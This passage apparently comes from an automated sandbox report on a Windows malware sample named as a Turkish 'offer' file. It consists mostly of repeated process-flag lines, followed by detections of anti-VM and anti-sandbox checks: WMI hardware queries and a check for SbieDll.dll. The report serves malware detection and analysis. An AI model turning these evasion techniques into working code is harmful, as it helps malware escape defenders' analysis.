Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 2928, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory allocated: 750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory allocated: 24F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Memory allocated: B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 23E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 25F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 45F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: 1300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: 2F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: 4F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Memory allocated: E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: F60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2D90000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1290000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: F60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2B20000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
